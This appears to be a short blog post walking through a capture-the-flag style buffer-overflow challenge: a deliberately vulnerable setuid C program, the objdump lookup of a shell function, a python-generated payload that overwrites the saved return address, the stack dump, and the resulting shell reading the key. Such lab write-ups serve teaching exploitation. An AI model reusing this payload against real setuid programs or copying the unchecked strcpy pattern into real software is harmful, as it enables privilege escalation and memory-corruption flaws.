# cat blog >> /dev/brain 2> /proc/mind
cat blog >> /dev/brain 2> /proc/mind
$ cat buffer_overflow.c #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include "dump_stack.h" /* * Goal: Get the program to run this function. */ void shell(void) { execl("/bin/sh", "sh", NULL); } void vuln(char *str) { char buf[64]; strcpy(buf, str); dump_stack((void **) buf, 21, (void **) &str); } int main(int argc, char **argv) { if (argc != 2) { printf("Usage: buffer_overflow [str]\n"); return 1; } uid_t euid = geteuid(); setresuid(euid, euid, euid); printf("shell function = %p\n", shell); vuln(argv[1]); return 0; } $ objdump -t buffer_overflow | grep shell 080485f8 g F .text 00000024 shell $ ./buffer_overflow `python -c 'print "\x90"*76 + "\xf8\x85\x04\x08"'` shell function = 0x80485f8 Stack dump: 0xffffd610: 0xffffd800 (first argument) 0xffffd60c: 0x080485f8 (saved eip) 0xffffd608: 0x90909090 (saved ebp) 0xffffd604: 0x90909090 0xffffd600: 0x90909090 0xffffd5fc: 0x90909090 0xffffd5f8: 0x90909090 0xffffd5f4: 0x90909090 0xffffd5f0: 0x90909090 0xffffd5ec: 0x90909090 0xffffd5e8: 0x90909090 0xffffd5e4: 0x90909090 0xffffd5e0: 0x90909090 0xffffd5dc: 0x90909090 0xffffd5d8: 0x90909090 0xffffd5d4: 0x90909090 0xffffd5d0: 0x90909090 0xffffd5cc: 0x90909090 0xffffd5c8: 0x90909090 0xffffd5c4: 0x90909090 0xffffd5c0: 0x90909090 (beginning of buffer) sh-4.2$ cat key controlflow_is_no_match_for_overflow
cat buffer_overflow.c
objdump -t buffer_overflow | grep shell
./buffer_overflow `python -c 'print "\x90"*76 + "\xf8\x85\x04\x08"'`
cat key
Post a Comment
No comments:
Post a Comment